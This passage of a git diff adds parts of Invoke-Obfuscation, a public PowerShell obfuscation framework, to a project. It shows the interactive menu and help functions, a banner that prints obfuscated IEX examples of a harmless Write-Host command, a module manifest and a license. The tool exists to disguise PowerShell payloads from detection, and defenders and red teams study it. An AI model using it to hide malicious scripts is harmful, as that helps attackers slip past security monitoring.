Write-Host " You entered an invalid option. Enter" -NoNewLine + Write-Host " HELP" -NoNewLine -ForegroundColor Yellow + Write-Host " for more information." + + # If the failed input was part of $Script:CompoundCommand then cancel out the rest of the compound command so it is not further processed. + If($Script:CompoundCommand.Count -gt 0) + { + $Script:CompoundCommand = @() + } + + # Output all available/acceptable options for current menu if invalid input was entered. + If($AcceptableInput.Count -gt 1) + { + $Message = 'Valid options for current menu include:' + } + Else + { + $Message = 'Valid option for current menu includes:' + } + Write-Host " $Message " -NoNewLine + + $Counter=0 + ForEach($AcceptableOption in $AcceptableInput) + { + $Counter++ + + # Change color and verbiage if acceptable options will execute an obfuscation function. + If($SelectionContainsCommand) + { + $ColorToOutput = 'Green' + } + Else + { + $ColorToOutput = 'Yellow' + } + + Write-Host $AcceptableOption -NoNewLine -ForegroundColor $ColorToOutput + If(($Counter -lt $AcceptableInput.Length) -AND ($AcceptableOption.Length -gt 0)) + { + Write-Host ', ' -NoNewLine + } + } + Write-Host '' + } + } + } + + Return $UserInput.ToLower() +} + + +Function Show-OptionsMenu +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays options menu for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-OptionsMenu +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-OptionsMenu displays options menu for Invoke-Obfuscation. + +.EXAMPLE + +C:\PS> Show-OptionsMenu + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + # Set potentially-updated script-level values in $Script:OptionsMenu before displaying. + $Counter = 0 + ForEach($Line in $Script:OptionsMenu) + { + If($Line[0].ToLower().Trim() -eq 'scriptpath') {$Script:OptionsMenu[$Counter][1] = $Script:ScriptPath} + If($Line[0].ToLower().Trim() -eq 'scriptblock') {$Script:OptionsMenu[$Counter][1] = $Script:ScriptBlock} + If($Line[0].ToLower().Trim() -eq 'commandlinesyntax') {$Script:OptionsMenu[$Counter][1] = $Script:CliSyntax} + If($Line[0].ToLower().Trim() -eq 'executioncommands') {$Script:OptionsMenu[$Counter][1] = $Script:ExecutionCommands} + If($Line[0].ToLower().Trim() -eq 'obfuscatedcommand') + { + # Only add obfuscatedcommand if it is different than scriptblock (to avoid showing obfuscatedcommand before it has been obfuscated). + If($Script:ObfuscatedCommand -cne $Script:ScriptBlock) {$Script:OptionsMenu[$Counter][1] = $Script:ObfuscatedCommand} + Else {$Script:OptionsMenu[$Counter][1] = ''} + } + If($Line[0].ToLower().Trim() -eq 'obfuscationlength') + { + # Only set/display ObfuscationLength if there is an obfuscated command. + If(($Script:ObfuscatedCommand.Length -gt 0) -AND ($Script:ObfuscatedCommand -cne $Script:ScriptBlock)) {$Script:OptionsMenu[$Counter][1] = $Script:ObfuscatedCommand.Length} + Else {$Script:OptionsMenu[$Counter][1] = ''} + } + + $Counter++ + } + + # Output menu. + Write-Host "`n`nSHOW OPTIONS" -NoNewLine -ForegroundColor Cyan + Write-Host " ::" -NoNewLine + Write-Host " Yellow" -NoNewLine -ForegroundColor Yellow + Write-Host " options can be set by entering" -NoNewLine + Write-Host " SET OPTIONNAME VALUE" -NoNewLine -ForegroundColor Green + Write-Host ".`n" + ForEach($Option in $Script:OptionsMenu) + { + $OptionTitle = $Option[0] + $OptionValue = $Option[1] + $CanSetValue = $Option[2] + + Write-Host $LineSpacing -NoNewLine + + # For options that can be set by user, output as Yellow. + If($CanSetValue) {Write-Host $OptionTitle -NoNewLine -ForegroundColor Yellow} + Else {Write-Host $OptionTitle -NoNewLine} + Write-Host ": " -NoNewLine + + # Handle coloring and multi-value output for ExecutionCommands and ObfuscationLength. + If($OptionTitle -eq 'ObfuscationLength') + { + Write-Host $OptionValue -ForegroundColor Cyan + } + ElseIf($OptionTitle -eq 'ScriptBlock') + { + Out-ScriptContents $OptionValue + } + ElseIf($OptionTitle -eq 'CommandLineSyntax') + { + # CLISyntax output. + $SetSyntax = '' + If(($Script:ScriptPath.Length -gt 0) -AND ($Script:ScriptPath -ne 'N/A')) + { + $SetSyntax = " -ScriptPath '$Script:ScriptPath'" + } + ElseIf(($Script:ScriptBlock.Length -gt 0) -AND ($Script:ScriptPath -eq 'N/A')) + { + $SetSyntax = " -ScriptBlock {$Script:ScriptBlock}" + } + + $CommandSyntax = '' + If($OptionValue.Count -gt 0) + { + $CommandSyntax = " -Command '" + ($OptionValue -Join ',') + "' -Quiet" + } + + If(($SetSyntax -ne '') -OR ($CommandSyntax -ne '')) + { + $CliSyntaxToOutput = "Invoke-Obfuscation" + $SetSyntax + $CommandSyntax + Write-Host $CliSyntaxToOutput -ForegroundColor Cyan + } + Else + { + Write-Host '' + } + } + ElseIf($OptionTitle -eq 'ExecutionCommands') + { + # ExecutionCommands output. + If($OptionValue.Count -gt 0) {Write-Host ''} + $Counter = 0 + ForEach($ExecutionCommand in $OptionValue) + { + $Counter++ + If($ExecutionCommand.Length -eq 0) {Write-Host ''; Continue} + + $ExecutionCommand = $ExecutionCommand.Replace('$ScriptBlock','~').Split('~') + Write-Host " $($ExecutionCommand[0])" -NoNewLine -ForegroundColor Cyan + Write-Host '$ScriptBlock' -NoNewLine -ForegroundColor Magenta + + # Handle output formatting when SHOW OPTIONS is run. + If(($OptionValue.Count -gt 0) -AND ($Counter -lt $OptionValue.Count)) + { + Write-Host $ExecutionCommand[1] -ForegroundColor Cyan + } + Else + { + Write-Host $ExecutionCommand[1] -NoNewLine -ForegroundColor Cyan + } + + } + Write-Host '' + } + ElseIf($OptionTitle -eq 'ObfuscatedCommand') + { + Out-ScriptContents $OptionValue + } + Else + { + Write-Host $OptionValue -ForegroundColor Magenta + } + } + +} + + +Function Show-HelpMenu +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays help menu for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-HelpMenu +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-HelpMenu displays help menu for Invoke-Obfuscation. + +.EXAMPLE + +C:\PS> Show-HelpMenu + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + # Show Help Menu. + Write-Host "`n`nHELP MENU" -NoNewLine -ForegroundColor Cyan + Write-Host " :: Available" -NoNewLine + Write-Host " options" -NoNewLine -ForegroundColor Yellow + Write-Host " shown below:`n" + ForEach($InputOptionsList in $AllAvailableInputOptionsLists) + { + $InputOptionsCommands = $InputOptionsList[0] + $InputOptionsDescription = $InputOptionsList[1] + + # Add additional coloring to string encapsulated by <> if it exists in $InputOptionsDescription. + If($InputOptionsDescription.Contains('<') -AND $InputOptionsDescription.Contains('>')) + { + $FirstPart = $InputOptionsDescription.SubString(0,$InputOptionsDescription.IndexOf('<')) + $MiddlePart = $InputOptionsDescription.SubString($FirstPart.Length+1) + $MiddlePart = $MiddlePart.SubString(0,$MiddlePart.IndexOf('>')) + $LastPart = $InputOptionsDescription.SubString($FirstPart.Length+$MiddlePart.Length+2) + Write-Host "$LineSpacing $FirstPart" -NoNewLine + Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan + Write-Host $LastPart -NoNewLine + } + Else + { + Write-Host "$LineSpacing $InputOptionsDescription" -NoNewLine + } + + $Counter = 0 + ForEach($Command in $InputOptionsCommands) + { + $Counter++ + Write-Host $Command.ToUpper() -NoNewLine -ForegroundColor Yellow + If($Counter -lt $InputOptionsCommands.Count) {Write-Host ',' -NoNewLine} + } + Write-Host '' + } +} + + +Function Show-Tutorial +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays tutorial information for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-Tutorial +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-Tutorial displays tutorial information for Invoke-Obfuscation. + +.EXAMPLE + +C:\PS> Show-Tutorial + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + Write-Host "`n`nTUTORIAL" -NoNewLine -ForegroundColor Cyan + Write-Host " :: Here is a quick tutorial showing you how to get your obfuscation on:" + + Write-Host "`n1) " -NoNewLine -ForegroundColor Cyan + Write-Host "Load a scriptblock (SET SCRIPTBLOCK) or a script path/URL (SET SCRIPTPATH)." + Write-Host " SET SCRIPTBLOCK Write-Host 'This is my test command' -ForegroundColor Green" -ForegroundColor Green + + Write-Host "`n2) " -NoNewLine -ForegroundColor Cyan + Write-Host "Navigate through the obfuscation menus where the options are in" -NoNewLine + Write-Host " YELLOW" -NoNewLine -ForegroundColor Yellow + Write-Host "." + Write-Host " GREEN" -NoNewLine -ForegroundColor Green + Write-Host " options apply obfuscation." + Write-Host " Enter" -NoNewLine + Write-Host " BACK" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "CD .." -NoNewLine -ForegroundColor Yellow + Write-Host " to go to previous menu and" -NoNewLine + Write-Host " HOME" -NoNewline -ForegroundColor Yellow + Write-Host "/" -NoNewline + Write-Host "MAIN" -NoNewline -ForegroundColor Yellow + Write-Host " to go to home menu.`n E.g. Enter" -NoNewLine + Write-Host " ENCODING" -NoNewLine -ForegroundColor Yellow + Write-Host " & then" -NoNewLine + Write-Host " 5" -NoNewLine -ForegroundColor Green + Write-Host " to apply SecureString obfuscation." + + Write-Host "`n3) " -NoNewLine -ForegroundColor Cyan + Write-Host "Enter" -NoNewLine + Write-Host " TEST" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "EXEC" -NoNewLine -ForegroundColor Yellow + Write-Host " to test the obfuscated command locally.`n Enter" -NoNewLine + Write-Host " SHOW" -NoNewLine -ForegroundColor Yellow + Write-Host " to see the currently obfuscated command." + + Write-Host "`n4) " -NoNewLine -ForegroundColor Cyan + Write-Host "Enter" -NoNewLine + Write-Host " COPY" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "CLIP" -NoNewLine -ForegroundColor Yellow + Write-Host " to copy obfuscated command out to your clipboard." + Write-Host " Enter" -NoNewLine + Write-Host " OUT" -NoNewLine -ForegroundColor Yellow + Write-Host " to write obfuscated command out to disk." + + Write-Host "`n5) " -NoNewLine -ForegroundColor Cyan + Write-Host "Enter" -NoNewLine + Write-Host " RESET" -NoNewLine -ForegroundColor Yellow + Write-Host " to remove all obfuscation and start over.`n Enter" -NoNewLine + Write-Host " UNDO" -NoNewLine -ForegroundColor Yellow + Write-Host " to undo last obfuscation.`n Enter" -NoNewLine + Write-Host " HELP" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "?" -NoNewLine -ForegroundColor Yellow + Write-Host " for help menu." + + Write-Host "`nAnd finally the obligatory `"Don't use this for evil, please`"" -NoNewLine -ForegroundColor Cyan + Write-Host " :)" -ForegroundColor Green +} + + +Function Out-ScriptContents +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays current obfuscated command for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Out-ScriptContents +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-ScriptContents displays current obfuscated command for Invoke-Obfuscation. + +.PARAMETER ScriptContents + +Specifies the string containing your payload. + +.PARAMETER PrintWarning + +Switch to output redacted form of ScriptContents if they exceed 8,190 characters. + +.EXAMPLE + +C:\PS> Out-ScriptContents + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + Param( + [Parameter(ValueFromPipeline = $true)] + [String] + $ScriptContents, + + [Switch] + $PrintWarning + ) + + If($ScriptContents.Length -gt $CmdMaxLength) + { + # Output ScriptContents, handling if the size of ScriptContents exceeds $CmdMaxLength characters. + $RedactedPrintLength = $CmdMaxLength/5 + + # Handle printing redaction message in middle of screen. #OCD + $CmdLineWidth = (Get-Host).UI.RawUI.BufferSize.Width + $RedactionMessage = "" + $CenteredRedactionMessageStartIndex = (($CmdLineWidth-$RedactionMessage.Length)/2) - "[*] ObfuscatedCommand: ".Length + $CurrentRedactionMessageStartIndex = ($RedactedPrintLength % $CmdLineWidth) + + If($CurrentRedactionMessageStartIndex -gt $CenteredRedactionMessageStartIndex) + { + $RedactedPrintLength = $RedactedPrintLength-($CurrentRedactionMessageStartIndex-$CenteredRedactionMessageStartIndex) + } + Else + { + $RedactedPrintLength = $RedactedPrintLength+($CenteredRedactionMessageStartIndex-$CurrentRedactionMessageStartIndex) + } + + Write-Host $ScriptContents.SubString(0,$RedactedPrintLength) -NoNewLine -ForegroundColor Magenta + Write-Host $RedactionMessage -NoNewLine -ForegroundColor Yellow + Write-Host $ScriptContents.SubString($ScriptContents.Length-$RedactedPrintLength) -ForegroundColor Magenta + } + Else + { + Write-Host $ScriptContents -ForegroundColor Magenta + } + + # Make sure final command doesn't exceed cmd.exe's character limit. + If($ScriptContents.Length -gt $CmdMaxLength) + { + If($PSBoundParameters['PrintWarning']) + { + Write-Host "`nWARNING: This command exceeds the cmd.exe maximum length of $CmdMaxLength." -ForegroundColor Red + Write-Host " Its length is" -NoNewLine -ForegroundColor Red + Write-Host " $($ScriptContents.Length)" -NoNewLine -ForegroundColor Yellow + Write-Host " characters." -ForegroundColor Red + } + } +} + + +Function Show-AsciiArt +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays random ASCII art for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-AsciiArt +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-AsciiArt displays random ASCII art for Invoke-Obfuscation, and also displays ASCII art during script startup. + +.EXAMPLE + +C:\PS> Show-AsciiArt + +.NOTES + +Credit for ASCII art font generation: http://patorjk.com/software/taag/ +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + [CmdletBinding()] Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [Switch] + $Random + ) + + # Create multiple ASCII art title banners. + $Spacing = "`t" + $InvokeObfuscationAscii = @() + $InvokeObfuscationAscii += $Spacing + ' ____ __ ' + $InvokeObfuscationAscii += $Spacing + ' / _/___ _ ______ / /_____ ' + $InvokeObfuscationAscii += $Spacing + ' / // __ \ | / / __ \/ //_/ _ \______ ' + $InvokeObfuscationAscii += $Spacing + ' _/ // / / / |/ / /_/ / ,< / __/_____/ ' + $InvokeObfuscationAscii += $Spacing + '/______ /__|_________/_/|_|\___/ __ _ ' + $InvokeObfuscationAscii += $Spacing + ' / __ \/ /_ / __/_ ________________ _/ /_(_)___ ____ ' + $InvokeObfuscationAscii += $Spacing + ' / / / / __ \/ /_/ / / / ___/ ___/ __ `/ __/ / __ \/ __ \' + $InvokeObfuscationAscii += $Spacing + '/ /_/ / /_/ / __/ /_/ (__ ) /__/ /_/ / /_/ / /_/ / / / /' + $InvokeObfuscationAscii += $Spacing + '\____/_.___/_/ \__,_/____/\___/\__,_/\__/_/\____/_/ /_/ ' + + # Ascii art to run only during script startup. + If(!$PSBoundParameters['Random']) + { + $ArrowAscii = @() + $ArrowAscii += ' | ' + $ArrowAscii += ' | ' + $ArrowAscii += ' \ / ' + $ArrowAscii += ' V ' + + # Show actual obfuscation example (generated with this tool) in reverse. + Write-Host "`nIEX( ( '36{78Q55@32t61_91{99@104X97{114Q91-32t93}32t93}32t34@110m111@105}115X115-101m114_112@120@69-45{101@107X111m118m110-73Q124Q32X41Q57@51-93Q114_97_104t67t91{44V39Q112_81t109@39}101{99@97}108{112}101}82_45m32_32X52{51Q93m114@97-104{67t91t44t39V98t103V48t39-101}99}97V108}112t101_82_45{32@41X39{41_112t81_109_39m43{39-110t101@112{81t39X43@39t109_43t112_81Q109t101X39Q43m39}114Q71_112{81m109m39@43X39V32Q40}32m39_43_39{114-111m108t111t67{100m110{117Q39_43m39-111-114Q103_101t114@39m43-39{111t70-45}32m41}98{103V48V110Q98t103{48@39{43{39-43{32t98m103_48{111@105t98@103V48-39@43{39_32-32V43V32}32t98t103@48X116m97V99t98X103t48_39V43m39@43-39X43Q39_98@103@48}115V117V102Q98V79m45@98m39Q43{39X103_39X43Q39V48}43-39}43t39}98-103{48V101_107Q39t43X39_111X118X110V39X43}39t98_103{48@43}32_98{103}48{73{98-39@43t39m103_39}43{39{48Q32t39X43X39-32{40V32t41{39Q43V39m98X103{39_43V39{48-116{115Q79{39_43_39}98}103m48{39Q43t39X32X43{32_98@103-39@43m39X48_72-39_43t39V45m39t43Q39_101Q98}103_48-32_39Q43V39V32t39V43}39m43Q32V98X39Q43_39@103_48V39@43Q39@116X73t82V119m98-39{43_39}103Q48X40_46_32m39}40_40{34t59m91@65V114V114@97_121}93Q58Q58V82Q101Q118Q101{114}115_101m40_36_78m55@32t41t32-59{32}73{69V88m32{40t36V78t55}45Q74m111@105-110m32X39V39-32}41'.SpLiT( '{_Q-@t}mXV' ) |ForEach-Object { ([Int]`$_ -AS [Char]) } ) -Join'' )" -ForegroundColor Cyan + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line -NoNewline; Write-Host $Line -NoNewline; Write-Host $Line -NoNewline; Write-Host $Line} + Start-Sleep -Milliseconds 100 + + Write-Host "`$N7 =[char[ ] ] `"noisserpxE-ekovnI| )93]rahC[,'pQm'ecalpeR- 43]rahC[,'bg0'ecalpeR- )')pQm'+'nepQ'+'m+pQme'+'rGpQm'+' ( '+'roloCdnu'+'orger'+'oF- )bg0nbg0'+'+ bg0oibg0'+' + bg0tacbg0'+'+'+'bg0sufbO-b'+'g'+'0+'+'bg0ek'+'ovn'+'bg0+ bg0Ib'+'g'+'0 '+' ( )'+'bg'+'0tsO'+'bg0'+' + bg'+'0H'+'-'+'ebg0 '+' '+'+ b'+'g0'+'tIRwb'+'g0(. '((`";[Array]::Reverse(`$N7 ) ; IEX (`$N7-Join '' )" -ForegroundColor Magenta + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line -NoNewline; Write-Host $Line -NoNewline; Write-Host $Line} + Start-Sleep -Milliseconds 100 + + Write-Host ".(`"wRIt`" + `"e-H`" + `"Ost`") ( `"I`" +`"nvoke`"+`"-Obfus`"+`"cat`" + `"io`" +`"n`") -ForegroundColor ( 'Gre'+'en')" -ForegroundColor Yellow + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line -NoNewline; Write-Host $Line} + Start-Sleep -Milliseconds 100 + + Write-Host "Write-Host `"Invoke-Obfuscation`" -ForegroundColor Green" -ForegroundColor White + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line} + Start-Sleep -Milliseconds 100 + + # Write out below string in interactive format. + Start-Sleep -Milliseconds 100 + ForEach($Char in [Char[]]'Invoke-Obfuscation') + { + Start-Sleep -Milliseconds (Get-Random -Input @(25..200)) + Write-Host $Char -NoNewline -ForegroundColor Green + } + + Start-Sleep -Milliseconds 900 + Write-Host "" + Start-Sleep -Milliseconds 300 + Write-Host + + # Display primary ASCII art title banner. + $RandomColor = (Get-Random -Input @('Green','Cyan','Yellow')) + ForEach($Line in $InvokeObfuscationAscii) + { + Write-Host $Line -ForegroundColor $RandomColor + } + } + Else + { + # ASCII option in Invoke-Obfuscation interactive console. + + } + + # Output tool banner after all ASCII art. + Write-Host "" + Write-Host "`tTool :: Invoke-Obfuscation" -ForegroundColor Magenta + Write-Host "`tAuthor :: Daniel Bohannon (DBO)" -ForegroundColor Magenta + Write-Host "`tTwitter :: @danielhbohannon" -ForegroundColor Magenta + Write-Host "`tBlog :: http://danielbohannon.com" -ForegroundColor Magenta + Write-Host "`tGithub :: https://github.com/danielbohannon/Invoke-Obfuscation" -ForegroundColor Magenta + Write-Host "`tVersion :: 1.7" -ForegroundColor Magenta + Write-Host "`tLicense :: Apache License, Version 2.0" -ForegroundColor Magenta + Write-Host "`tNotes :: If(!`$Caffeinated) {Exit}" -ForegroundColor Magenta +} diff --git a/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psd1 b/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psd1 new file mode 100644 index 000000000..2e06e4a9f --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psd1 @@ -0,0 +1,62 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +# +# Module manifest for module 'Invoke-Obfuscation' +# +# Generated by: Daniel Bohannon (@danielhbohannon) +# +# Generated on: 2017-01-19 +# + + + +@{ + +# Version number of this module. +ModuleVersion = '1.1' + +# ID used to uniquely identify this module +GUID = 'd0a9150d-b6a4-4b17-a325-e3a24fed0aa9' + +# Author of this module +Author = 'Daniel Bohannon (@danielhbohannon)' + +# Copyright statement for this module +Copyright = 'Apache License, Version 2.0' + +# Description of the functionality provided by this module +Description = 'PowerShell module file for importing all required modules for the Invoke-Obfuscation framework.' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '2.0' + +# Minimum version of the Windows PowerShell host required by this module +PowerShellHostVersion = '2.0' + +# Script files (.ps1) that are run in the caller's environment prior to importing this module +ScriptsToProcess = @('Out-ObfuscatedTokenCommand.ps1','Out-ObfuscatedStringCommand.ps1','Out-EncodedAsciiCommand.ps1','Out-EncodedHexCommand.ps1','Out-EncodedOctalCommand.ps1','Out-EncodedBinaryCommand.ps1','Out-SecureStringCommand.ps1','Out-EncodedBXORCommand.ps1','Out-PowerShellLauncher.ps1','Invoke-Obfuscation.ps1') + +# Functions to export from this module +FunctionsToExport = '*' + +# HelpInfo URI of this module +# HelpInfoURI = '' + +} \ No newline at end of file diff --git a/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psm1 b/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psm1 new file mode 100644 index 000000000..b701281b7 --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psm1 @@ -0,0 +1,129 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +# Get location of this script no matter what the current directory is for the process executing this script. +$ScriptDir = [System.IO.Path]::GetDirectoryName($myInvocation.MyCommand.Definition) + +Write-Host "`n[*] Invoke-Obfuscation.psm1 has been decomissioned." -ForegroundColor Red +Write-Host "[*] Please run" -NoNewLine -ForegroundColor Red +Write-Host " Import-Module $ScriptDir\Invoke-Obfuscation.psd1 " -NoNewLine -ForegroundColor Yellow +Write-Host "instead." -ForegroundColor Red + + + +<# +.SYNOPSIS + +PowerShell module file for importing all required modules for the Invoke-Obfuscation framework. + +Invoke-Obfuscation Module Loader +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +PowerShell module file for importing all required modules for the Invoke-Obfuscation framework. + +.EXAMPLE + +C:\PS> Import-Module .\Invoke-Obfuscation.psm1 + +.NOTES + +PowerShell module file for importing all required modules for the Invoke-Obfuscation framework. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> +<# +# Confirm all necessary commands are loaded and import appropriate .ps1 files in current directory if necessary. +Write-Host "`n[*] Validating necessary commands are loaded into current PowerShell session.`n" + +$RequiredFunctions = @() +$RequiredFunctions += 'Out-ObfuscatedTokenCommand' +$RequiredFunctions += 'Out-ObfuscatedStringCommand' +$RequiredFunctions += 'Out-EncodedAsciiCommand' +$RequiredFunctions += 'Out-EncodedHexCommand' +$RequiredFunctions += 'Out-EncodedOctalCommand' +$RequiredFunctions += 'Out-EncodedBinaryCommand' +$RequiredFunctions += 'Out-SecureStringCommand' +$RequiredFunctions += 'Out-EncodedBXORCommand' +$RequiredFunctions += 'Out-PowerShellLauncher' +$RequiredFunctions += 'Invoke-Obfuscation' + +# Get location of this script no matter what the current directory is for the process executing this script. +$ScriptDir = [System.IO.Path]::GetDirectoryName($myInvocation.MyCommand.Definition) + +$UnloadedFunctionExists = $FALSE +ForEach($Function in $RequiredFunctions) +{ + # Check if $Function is loaded. + If(!(Get-Command * | Where-Object {$_.Name -like $Function})) + { + # Validate that appropriate .ps1 file exists. + If(Test-Path $ScriptDir\$Function.ps1) + { + # Import module. + Import-Module $ScriptDir\$Function.ps1 + + # Re-check if $Function is loaded. + If((Get-Command * | Where-Object {$_.Name -like $Function}).Name) + { + Write-Host "[*] Function Loaded :: $Function" -ForegroundColor Green + } + Else + { + Write-Host "[*] Function Not Loaded :: $Function (After running Import-Module $ScriptDir\$Function.ps1)" -ForegroundColor Red + $UnloadedFunctionExists = $TRUE + } + } + Else { + Write-Host "[*] Function Not Loaded :: $Function (Cannot locate $ScriptDir\$Function.ps1)" -ForegroundColor Red + $UnloadedFunctionExists = $TRUE + } + } + Else { + Write-Host "[*] Function Already Loaded :: $Function" -ForegroundColor Green + } +} + +# Show error and warning if any functions were not properly loaded. +If($UnloadedFunctionExists) +{ + Write-Host "`n[*] One or more above functions are not loaded." -ForegroundColor Red + Write-Host " Ensure Invoke-Obfuscation.psm1 is in the same directory as above scripts.`n" -ForegroundColor Red +} +Else +{ + Write-Host "`n[*] All modules loaded and ready to run " -NoNewLine + + # Write output below string in interactive format. + ForEach($Char in [Char[]]'Invoke-Obfuscation') + { + Write-Host $Char -NoNewline -ForegroundColor Green + Start-Sleep -Milliseconds (Get-Random -Input @(25..200)) + } + Start-Sleep -Milliseconds 500 + Write-Host "`n" +} +#> \ No newline at end of file diff --git a/lib/powershell/Invoke-Obfuscation/LICENSE b/lib/powershell/Invoke-Obfuscation/LICENSE new file mode 100644 index 000000000..52cd8f402 --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) 